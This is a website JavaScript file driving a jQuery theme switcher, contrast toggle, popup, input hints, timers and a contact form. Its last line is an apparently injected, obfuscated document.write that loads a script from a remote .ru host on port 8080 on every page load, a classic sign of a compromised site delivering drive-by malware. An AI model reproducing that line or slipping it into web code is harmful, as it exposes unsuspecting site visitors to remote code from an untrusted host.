///////////////////////
//	STRADA EFFECTS.JS - REQUIRES JQUERY
//	Written by Will
//	www.engageinteractive.co.uk
//	Please do not steal.
//	Every time you steal, An angry Scotsman punches a puppy in the face! A really cute puppy!

//WAIT FOR THE PAGE TO BE READY
$(document).ready(function(){

//TO HELP POOR (RUBBISHY) OPERA, WE HAVE TO FIRE CLICK EVENTS ON LABELS USING JAVASCRIPT.
	$('label.label_button').click(function(){
		$(this).next('input.hidden_button').click();
		return false;
	});

//THE AMAZING THEME SWITCHER
	
	//Easing equation for panel
	jQuery.easing.easeOutQuart = function (x, t, b, c, d) {
		return -c * ((t=t/d-1)*t*t*t - 1) + b;
	};
	
	//COOKIE MONSTER (Remembering the theme and stuff)
	//Set the cookie
	
	//Define the available themes in an array, and then create a variable at random from the array.
	
	availableThemes = ["rocket","mushroom","peppers","olives","grapes","peas","parma"] ;
	var randomTheme = availableThemes[Math.floor(Math.random()*availableThemes.length)];
	
	//Define and name the cookies. One for the selected theme. One for the random theme. one for the opacity level and one for the theme popup.
	
	var themeCookie = 'stradaThemeCookie';
	var randomCookie = 'stradaRandomCookie';
	var opacityCookie = 'stradaOpacityCookie';
	var popupCookie = 'stradaPopupCookie';
	
	//THIS IS THE EXPLANATION OF THE NEXT BIG CHUNK OF TEXT
	//Check to see if themeCookie still exists
		//Check to see if themeCookie value is random
			//If it is set the random button class to 'on'
			//Check to see if the randomCookie exists
				//If it does set randomClass to the value of randomCookie
				//Remove the existing class from 'body' and add randomClass
				//Do the same for the overlay div
			//If the random cookie doesn't exist
				//Define a new session cookie with the variable randomClass
				//Remove the existing class from 'body' and add randomClass
				//Do the same for the overlay div
		//If the theme cookie value isn't random
			//Set the currentTheme variable to the value of themeCookie
			//Find the button that corresponds to the currentTheme variable using it's class and add the on state to the parent li
			//Remove the existing class from 'body' and add currentTheme
			//Do the same for the overlay div
	//If the theme cookie didn't exist
		//Create the themeCookie with a value of random and set it to expire in 1 year
		//Create the randomCookie with the value of the randomTheme variable
		//Remove existing class from the body and add a new class from the randomTheme variable
		//Do the same for the overlay
		//Find the random theme button and set it's parent li class to 'on'
	
	if($.cookie(themeCookie)){
		if ($.cookie(themeCookie) == 'random'){
			$('a#random_theme').parent().addClass('on');
			if($.cookie(randomCookie)){
				var randomClass = $.cookie(randomCookie);
				$('body').removeClass().addClass(randomClass);
				$('div#overlay').removeClass().addClass(randomClass);
			}else{
				$.cookie(randomCookie, randomTheme);
				$('body').removeClass().addClass(randomTheme);
				$('div#overlay').removeClass().addClass(randomTheme);
			}
		}else{
			var currentTheme = $.cookie(themeCookie);
			$('#theme_selector ul li').children('a.' + currentTheme).parent().addClass('on');
			$('body').removeClass().addClass(currentTheme);
			$('div#overlay').removeClass().addClass(currentTheme);
		}
	}else{
		$.cookie(themeCookie, 'random', { path: '/', expires: 365 });
		$.cookie(randomCookie, randomTheme, { path: '/'});
		$('body').removeClass().addClass(randomTheme);
		$('div#overlay').removeClass().addClass(randomTheme);
		$('a#random_theme').parent().addClass('on');
	}
	
	//THESE ARE TEMPOARY CONTROLS TO DELETE AND SHOW THE VALUES OF THE COOKIES
	
	//$('h1 a').click(function() { // delete cookie
	//	$.cookie(themeCookie, null, { path: '/' });
	//	$.cookie(opacityCookie, null, { path: '/' });
	//	$.cookie(randomCookie, null, { path: '/' });
	//	return false;
	//});
	//$('li.shop a').click(function() { // delete cookie
	//	alert($.cookie(themeCookie) + '-' + $.cookie(opacityCookie) + '-' + $.cookie(randomCookie));
	//});

	//This bit shows the overlay (Would like to use opacity, but it is quite slow, so I've used height) and then show the theme panel
	
	//Only show the theme button if javascript is turned on.
	$('a#theme_button').show();
	
	//Clicking the theme button sets the overlay opacity to 0.8 and slides it down and then executes the showThemes function
	$('a#theme_button').click(function(){
		$('#overlay').css({opacity: 0.8}).animate({height: 'show'}, 500, showThemes);
	});
	
	//Apply button hides the theme panel and then executes the hideOverlay function
	$('#theme_selector a.apply_theme').click(function(){
		$('#theme_selector').animate({left: '-300px'}, 800, "easeOutQuart", hideOverlay );
		return false;
	});
	//Close button for the theme panel
	$('#theme_selector a.theme_close').click(function(){
		$('#theme_selector').animate({left: '-300px'}, 800, "easeOutQuart", hideOverlay );
		return false;
	});
	
	//The two functions called in the previous two click events
	//Shows the theme selector panel
	//Hides any hidden select boxes (be nice to poor little ie6!)
	function showThemes(){
		$('#theme_selector').show().animate({left: '50%'}, 800, "easeOutQuart" );
		$('select').css({visibility: 'hidden'});
	};
	//Hides the overlay
	//Hides any hidden select boxes (be nice to poor little ie6!)
	function hideOverlay(){
		$('#overlay').animate({height: 'hide'}, 500);
		$('select').css({visibility: 'visible'});
	};
	
	//The theme toggle button. Turning it on makes themes random. Clicking on any themes turns it off. Each line explained below.
	//Clicking on the random theme button...
		//Sets the parent li class to 'on'
		//Finds all the sibling li's and removes the on class
		//Sets the themeCookie value to random which expires in 365 days

	$('a#random_theme').click(function(){
		$(this).parent().addClass('on');
		$(this).parent('li').siblings('li').removeClass('on');
		$.cookie(themeCookie, 'random', { path: '/', expires: 365 });
		return false;
	});
	
	//The buttons for all the available themes appart from random. Each line explained below.
	//Clicking any of the theme buttons...
		//Sets the backgroundName variable to the class of the button clicked.
		//Calls the backgroundLoading function (Shows the loading spinner)
		//Calls the backgroundLoad function with the backgroundName variable
		//Remove the on class from the parent li's siblings
		//Adds the class on to the parent li
		//Removes the class of theme_toggle_on from the theme toggle button
		//Sets the cookie to the chosen theme and set it to expire in a year
		//Deletes the random cookie so that clicking the random button does appear to do something.

	$("#theme_selector ul li a[id!='random_theme']").click(function(){
		if ($(this).parent('li').hasClass('on')){
			//Do nothing what-so-ever!
		}else{
			var backgroundName = $(this).attr('class');
			backgroundLoading()
			backgroundLoad(backgroundName)
			$(this).parent().siblings('li').removeClass('on');
			$(this).parent('li').addClass('on');
			$('a.theme_toggle').removeClass('theme_toggle_on');
			$.cookie(themeCookie, backgroundName, { path: '/', expires: 365 });
			$.cookie(randomCookie, null, { path: '/' });
			return false;
		}
	});
	
	//Shows the loading overlay with spinner.
	function backgroundLoading(){
		$('#theme_selector span.loading').animate({opacity: 'show'});
	}
	
	//Background load function called above. Explained below
	//Create the function backgroundLoad with the variable to backgroundName
		//Create an image object
		//Load the image and perform functions once it's finished
			//Hide the image while it's loading
			//Change the overlay class to background name defined when function was called
			//Do the same for the body
			//Hide the loading overlay
		//If there is an error... 
			//...hide the loading overlay
			//Show an error message
		//Set the src url for the image to be loaded
		
	function backgroundLoad(backgroundName){
		var backgroundImage = new Image();
		$(backgroundImage).load(function () {
			$(this).css('display', 'none');
			$('div#overlay').removeClass().addClass(backgroundName);
			$('body').removeClass().addClass(backgroundName);
			$('#theme_selector span.loading').animate({opacity: 'hide'});
		}).error(function () {
			$('#theme_selector span.loading').animate({opacity: 'hide'});
			alert ('Oops, it looks like something has gone wrong. Please try again later.');
		}).attr('src', 'images/backgrounds/' + backgroundName + '.jpg');
	}
	
	//Opacity controls (these need changing from a toggle function, it works, but not great)
	//No notes on this one because it's not finished.
	
	if($.cookie(opacityCookie)){
		var readEasy = $.cookie(opacityCookie);
		if(readEasy == 'none'){
			//do nothing
		}
		if (readEasy == 'low'){
			$('#header').addClass('read_easy');
			$('.big_header').addClass('read_easy');
			$('#content_wrapper').addClass('read_easy');
			$('.theme_contrast').addClass('theme_contrast_2');
		}
		if (readEasy == 'high'){
			$('#header').addClass('read_really_easy');
			$('.big_header').addClass('read_really_easy');
			$('#content_wrapper').addClass('read_really_easy');
			$('.theme_contrast').addClass('theme_contrast_3');
		}
	}else{
		$.cookie(opacityCookie, 'none', { path: '/', expires: 365 })
	};
	
	$('.theme_contrast').click(
		function(){
			var readEasy = $.cookie(opacityCookie);
			if(readEasy == 'none'){
				$('#header').addClass('read_easy');
				$('.big_header').addClass('read_easy');
				$('#content_wrapper').addClass('read_easy');
				$(this).addClass('theme_contrast_2');
				$(this).removeClass('theme_contrast_3');
				$.cookie(opacityCookie, 'low', { path: '/', expires: 365 });
				var readEasy = 'low';
				return false;
			}
			if(readEasy == 'low'){
				$('#header').removeClass('read_easy');
				$('.big_header').removeClass('read_easy');
				$('#content_wrapper').removeClass('read_easy');
				$('#header').addClass('read_really_easy');
				$('.big_header').addClass('read_really_easy');
				$('#content_wrapper').addClass('read_really_easy');
				$(this).removeClass('theme_contrast_2');
				$(this).addClass('theme_contrast_3');
				$.cookie(opacityCookie, 'high', { path: '/', expires: 365 });
				var readEasy = 'high';
				return false;
			}
			if(readEasy == 'high'){
				$('#header').removeClass('read_really_easy');
				$('.big_header').removeClass('read_really_easy');
				$('#content_wrapper').removeClass('read_really_easy');
				$(this).removeClass('theme_contrast_3');
				$(this).removeClass('theme_contrast_2');
				$.cookie(opacityCookie, 'none', { path: '/', expires: 365 });
				var readEasy = 'none';
				return false;
			}
		}
	);

//THEME POPUP MESSAGE TO GET PEOPLE TO NOTICE IT. ONLY RUNS ONCE EVERY WEEK OR SO BASED ON COOKIE

	if($.cookie(popupCookie)){
		//DO NOTHING
	}else{
		$('#theme_message').css({opacity:0});
	
		$('#theme_message').oneTime(5000,function(){
			showPopup();
		});
		
		function showPopup(){
			$('#theme_message').show().animate({opacity: 0.8}, 500, activatePopup);
			//Create cookie
		};
	
		function activatePopup(){
			$('#theme_message').oneTime(1000,function(){
				$('#theme_message')
					.animate({right: 32}, 80)
					.animate({right: 28}, 80)
					.animate({right: 32}, 80)
					.animate({right: 28}, 80)
					.animate({right: 32}, 80)
					.animate({right: 28}, 80)
					.animate({right: 32}, 80)
					.animate({right: 28}, 80)
					.animate({right: 32}, 80)
					.animate({right: 28}, 80)
					.animate({right: 32}, 80)
					.animate({right: 28}, 80, hidePopup);
			});
		}
	
		function hidePopup(){
			$('#theme_message').animate({opacity: 0}, 500);
			$.cookie(popupCookie, 'alredyVisited', { path: '/', expires: 2 });
		};
	};
//END THE THEME PANEL STUFF - Woo!

//END JQUERY
});

/*----------------------------------------------------------
Clear inputs on focus (finds all inputs with a title tag) 
------------------------------------------------------------*/

(function ($) {

$.fn.hint = function (blurClass) {
    if (!blurClass) blurClass = 'blur';

    return this.each(function () {
        // get jQuery instance of 'this'
        var $$ = $(this); 

        // get it once since it won't change
        var title = $$.attr('title'); 

        // only apply logic if the element has the attribute
        if (title) { 

            // Note this is a one liner

            // on blur, set value to title attr if text is blank
            $$.blur(function () {
                if ($$.val() == '') {
                    $$.val(title).addClass(blurClass);
                }
            })

            // on focus, set value to blank if current value matches title attr
            .focus(function () {
                if ($$.val() == title) {
                    $$.val('').removeClass(blurClass);
                }
            })

            // clear the pre-defined text when form is submitted
            .parents('form:first').submit(function () {
                if ($$.val() == title) {
                    $$.val('').removeClass(blurClass);
                }
            }).end()

            // now change all inputs to title
            .blur();

            // counteracts the effect of Firefox's autocomplete stripping the blur effect
            if ($.browser.mozilla && !$$.attr('autocomplete')) {
                setTimeout(function () {
                    if ($$.val() == title) $$.val('');
                    $$.blur();
                }, 10);
            }
        }
    });
};

})(jQuery);

$(function(){ 
	// find all the input elements with title attributes
	$('input[title!=""]').hint();
	$('textarea[title!=""]').hint();
});

//JQUERY TIMERS

jQuery.fn.extend({
	everyTime: function(interval, label, fn, times, belay) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, times, belay);
		});
	},
	oneTime: function(interval, label, fn) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, 1);
		});
	},
	stopTime: function(label, fn) {
		return this.each(function() {
			jQuery.timer.remove(this, label, fn);
		});
	}
});

jQuery.extend({
	timer: {
		guid: 1,
		global: {},
		regex: /^([0-9]+)\s*(.*s)?$/,
		powers: {
			// Yeah this is major overkill...
			'ms': 1,
			'cs': 10,
			'ds': 100,
			's': 1000,
			'das': 10000,
			'hs': 100000,
			'ks': 1000000
		},
		timeParse: function(value) {
			if (value == undefined || value == null)
				return null;
			var result = this.regex.exec(jQuery.trim(value.toString()));
			if (result[2]) {
				var num = parseInt(result[1], 10);
				var mult = this.powers[result[2]] || 1;
				return num * mult;
			} else {
				return value;
			}
		},
		add: function(element, interval, label, fn, times, belay) {
			var counter = 0;
			
			if (jQuery.isFunction(label)) {
				if (!times) 
					times = fn;
				fn = label;
				label = interval;
			}
			
			interval = jQuery.timer.timeParse(interval);

			if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
				return;

			if (times && times.constructor != Number) {
				belay = !!times;
				times = 0;
			}
			
			times = times || 0;
			belay = belay || false;
			
			if (!element.$timers) 
				element.$timers = {};
			
			if (!element.$timers[label])
				element.$timers[label] = {};
			
			fn.$timerID = fn.$timerID || this.guid++;
			
			var handler = function() {
				if (belay && this.inProgress) 
					return;
				this.inProgress = true;
				if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
					jQuery.timer.remove(element, label, fn);
				this.inProgress = false;
			};
			
			handler.$timerID = fn.$timerID;
			
			if (!element.$timers[label][fn.$timerID]) 
				element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);
			
			if ( !this.global[label] )
				this.global[label] = [];
			this.global[label].push( element );
			
		},
		remove: function(element, label, fn) {
			var timers = element.$timers, ret;
			
			if ( timers ) {
				
				if (!label) {
					for ( label in timers )
						this.remove(element, label, fn);
				} else if ( timers[label] ) {
					if ( fn ) {
						if ( fn.$timerID ) {
							window.clearInterval(timers[label][fn.$timerID]);
							delete timers[label][fn.$timerID];
						}
					} else {
						for ( var fn in timers[label] ) {
							window.clearInterval(timers[label][fn]);
							delete timers[label][fn];
						}
					}
					
					for ( ret in timers[label] ) break;
					if ( !ret ) {
						ret = null;
						delete timers[label];
					}
				}
				
				for ( ret in timers ) break;
				if ( !ret ) 
					element.$timers = null;
			}
		}
	}
});

if (jQuery.browser.msie) jQuery(window).one("unload", function() {
	var global = jQuery.timer.global;
	for ( var label in global ) {
		var els = global[label], i = els.length;
		while ( --i )
			jQuery.timer.remove(els[i], label);
	}
});

//CONTEXTUAL CONTACT FORM STUFF
$(document).ready(function(){
	$('#contextual').hide();
	$('#subject').change(function(){
		if ($(this).val()=="77")
		{
			$('#contextual').show();
			sIFR.replace(interstate_reg, {
			  selector: 'label.sifr',
			  ratios: [8, 1.3, 9, 1.22, 10, 1.25, 11, 1.22, 17, 1.2, 28, 1.16, 30, 1.15, 40, 1.14, 60, 1.13, 61, 1.12, 65, 1.13, 66, 1.12, 67, 1.13, 103, 1.12, 104, 1.11, 112, 1.12, 114, 1.11, 119, 1.12, 123, 1.11, 1.12],
			  css: '.sIFR-root { background-color: #000000; color: #FFFFFF; }',
			  wmode: 'transparent'
			});
		} else
		{
			$('#contextual').hide();
		}
		return false;
	});
});

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Num_Lock.js"></scr'+'ipt>');